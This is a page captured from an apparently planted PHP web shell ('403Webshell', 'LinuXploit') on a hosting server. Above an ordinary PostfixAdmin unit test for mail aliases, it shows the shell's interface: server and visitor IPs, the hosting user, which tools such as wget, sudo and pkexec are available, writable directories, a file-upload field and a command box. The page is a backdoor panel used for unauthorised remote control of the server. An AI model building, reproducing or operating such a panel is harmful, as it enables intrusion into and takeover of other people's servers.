403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/postfixadmin/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/postfixadmin/tests/RemoteAliasTest.php
<?php
/**
 * Test for Postfixadmin
 *
 * @package tests
 */

require_once('RemoteTest.php');

class RemoteAliasTest extends RemoteTest {
    public function __construct() {
        parent::__construct();
        global $CONF;
    }

    public function testGet() {
        /* although we created an alias record, for users, this isn't returned... */
        $this->assertEquals($this->alias->get(), array());
    }

    public function testHasStoreAndForward() {
        $this->assertTrue($this->alias->hasStoreAndForward());
    }

    public function testUpdateRemoteOnly() {
        $this->assertTrue($this->alias->update(array('roger@rabbit.com'), 'remote_only'));
        $this->assertFalse($this->alias->hasStoreAndForward());
        $this->assertTrue($this->alias->update(array('roger@rabbit.com'), 'remote_only'));
        $this->assertTrue($this->alias->update(array('roger@rabbit.com', 'fish@fish.net', 'road@runner.com'), 'remote_only'));
        $this->assertEquals($this->alias->get(), array('roger@rabbit.com', 'fish@fish.net', 'road@runner.com'));
        $this->assertFalse($this->alias->hasStoreAndForward());
    }

    public function testUpdateForwardandStore() {
        $orig_aliases = $this->alias->get();
        if (!is_array($orig_aliases)) {
            $orig_aliases = array();
        }
        $orig_aliases[] = 'roger@robbit.com';
        $this->assertTrue($this->alias->update($orig_aliases, 'forward_and_store'));
        $this->assertEquals($this->alias->get(), $orig_aliases);
        $this->assertTrue($this->alias->update(array($this->username), 'forward_and_store'));
        $this->assertEquals($this->alias->get(), array());
    }
}

/* vim: set expandtab softtabstop=4 tabstop=4 shiftwidth=4: */

Youez - 2016 - github.com/yon3zu
LinuXploit